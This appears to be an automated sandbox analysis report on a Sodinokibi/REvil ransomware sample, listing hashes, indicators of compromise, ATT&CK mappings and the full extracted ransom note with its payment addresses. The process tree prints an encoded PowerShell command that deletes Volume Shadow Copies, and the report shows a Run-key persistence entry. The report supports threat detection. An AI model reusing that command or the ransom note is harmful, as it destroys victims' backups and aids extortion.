sodinokibi | 89238961a6ae82ba0a84711a3c5920bf8a3b07f74ab0eb6eaa14f4d957a0ed46

General

Target

ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
Size

166KB
MD5

ac29fb1acaa2600f7db1fe9072f9c913
SHA1

dc3913a99092419b69b510fab27d38796b0b82a3
SHA256

89238961a6ae82ba0a84711a3c5920bf8a3b07f74ab0eb6eaa14f4d957a0ed46
SHA512

bbbcec24875cdfd6a7517cd751735d2eb66aa4dc5e681f48d2ceda08e628b85fd6763b1c05df1bf074af23b3307f488330f88f2c095b1f0d124eb2b23e5d3f5a
SSDEEP

3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QFMAp3mxUo:ZJ0BXScFy2RsQJ8zgRdm

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\568x1dii7-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 568x1dii7. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E7CE522F9C3C013D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/E7CE522F9C3C013D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: iTHmojcDzfCUMSOqcc27D2ljHl+TolROb6oxCyFmgX3F1o7ShgB7/S6amtLINuMM Ky5eRxDkXD0BEHC1QTJIpwEFmyDMDzCREHKcJmdMiSn5Frkc2766VU5cwBiv0wgH /qq+HqgnFmNcrnQM1vR/m/JCfR32/C1XMubI4NPUQh66kRurUHGtxuoyAZk5wNuk aMI5nAxiwqV8dswLa1UG21NcGVKKawd7IiAuCSY1u/T6uiTcCxGlBTdr8gu2+h5Y NzR5sT03LXIYiu0ALsq+5Tq7kVz0jUC8pWi0ULbO+9/4tjSzc5Wff9ghFDpPKPQ4 PrTiPh19RpF1mTj/Jww7SQEPBImr8aQJAvVrNpzevm86WznxwaRn8o0EYQr7f2KY qHemoz4FYFdfLGpNJM/N/eDVLYoRQxmlWCNOzse3O5uN5CCsJpn+quqibuypS5SR g8jpTHnWr/ELQ4oT59YJQGohodS0hWFPIboqw4s7BrsuxUCjKdwcX9QHTeg6D+ID iRRPxbu6K6Dq6cQvUcJMVl/RyKieSSHYsEQsEkC1Ue1J2l0l3lM57SyK8SC9Rqg7 6VDzUFymO/Fx69gmk63IYprR0qFF7bUP7Vf9osyuswAv2l4wQmwal4gb4xQmAEZI Y0RvgsmATFKi8y2eaJOJT2m1Ye8zV7sO4+SWC7Jx2pjesO8hbpBDKY/0w+Hc34LU FH/VKmrHDqaFCzXptjRo7XK94jlrYgLLRKmCPMRUALPVduAcFv1Ut3waMa5BmUfr W4PFR5BcBcfHfwWljSBUPwr1bkhIBhjnv/u+k16DniPypBEQ3gITIIQfJ0o5Woav JQa9BB/kplP1k5eKHEeSfdxnN4gmF3jr+Qb1h1roGhBdlrtc8ixDgPsewUWRIMuH Z5UM/cg5vsKdM0zCfKBXpRGZXCiD0JSWIT6chasYieg3UG6ecj8zj7zmduueAWUX PCLdzSvtz5bfiMH4pWkJSITC8cYODHE8EAoiGb3X3ekgkVfoI2oRTqfSIuBKiR4c 0x9tiL36GmgGb/Khs0i4JDYoO6S3l0Vzm5mwtVxAh69KxEcsqBODIkO7a/XOnGPg 6SYTfMjo4M6Cy2eJp7rYxBKN6Kjln+ZMfL2YVwinkibyJtlxPgSp9OSaK3B41SDI 9wuJ9kf8MlZvb6k00lQyIVWGAbpcz1gYtvtIBhUKy5AN8CvLStCqATXclFGIsrBI iY36RHiPPBzHkrMs9WPKzaA1mjYONMio Extension name: 568x1dii7 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E7CE522F9C3C013D

http://decryptor.cc/E7CE522F9C3C013D

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe"	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\L:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\M:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\P:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\T:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\K:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\N:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\X:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\H:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\Q:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\V:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\Y:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\Z:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\F:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\G:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\J:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\D:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\O:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\A:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\R:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\S:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\W:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\E:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\I:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened (read-only)	\??\U:	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\q5474m.bmp"	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\ImportUnprotect.wvx	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PingGroup.contact	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WatchTest.docx	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File created	\??\c:\program files\568x1dii7-readme.txt	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File created	\??\c:\program files (x86)\568x1dii7-readme.txt	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\AssertConfirm.potx	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\HideCompare.M2TS	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LimitOptimize.pptx	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasureRevoke.xml	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResolveOptimize.ADT	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DisconnectPop.dotx	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GrantEnable.wma	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\HideUse.bmp	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeUse.cr2	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MoveStep.pcx	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResumeFormat.xps	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1384	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
1384	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
704	powershell.exe
704	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1384	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeBackupPrivilege	5052	vssvc.exe
Token: SeRestorePrivilege	5052	vssvc.exe
Token: SeAuditPrivilege	5052	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1384 wrote to memory of 704	1384	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe	86
PID 1384 wrote to memory of 704	1384	ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe	86

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ac29fb1acaa2600f7db1fe9072f9c913_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:704

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2328

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\568x1dii7-readme.txt

Filesize
6KB

MD5
9641533fff88276276b3e8c8f0556a5f

SHA1
6d9a88eba95dcbe0c8b846e82ba0a42f0e7d2e33

SHA256
2d6c8125c9f2f6b427dcced1360b34f8f4880f7883062ee4a873d821c51379c8

SHA512
dcbaabcdde04a014d6f561bb6b436ba8325a93a5966fc5d44c85bab3094c3e016a4f97c773b5f9b0e078cb181c64f263be44a79a028acdba78db9f753e18936d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2qaqznsf.1rq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/704-0-0x00007FFEE8B93000-0x00007FFEE8B95000-memory.dmp

Filesize
8KB

Download
memory/704-6-0x000001518C470000-0x000001518C492000-memory.dmp

Filesize
136KB

Download
memory/704-11-0x00007FFEE8B90000-0x00007FFEE9651000-memory.dmp

Filesize
10.8MB

Download
memory/704-12-0x00007FFEE8B90000-0x00007FFEE9651000-memory.dmp

Filesize
10.8MB

Download
memory/704-15-0x00007FFEE8B90000-0x00007FFEE9651000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads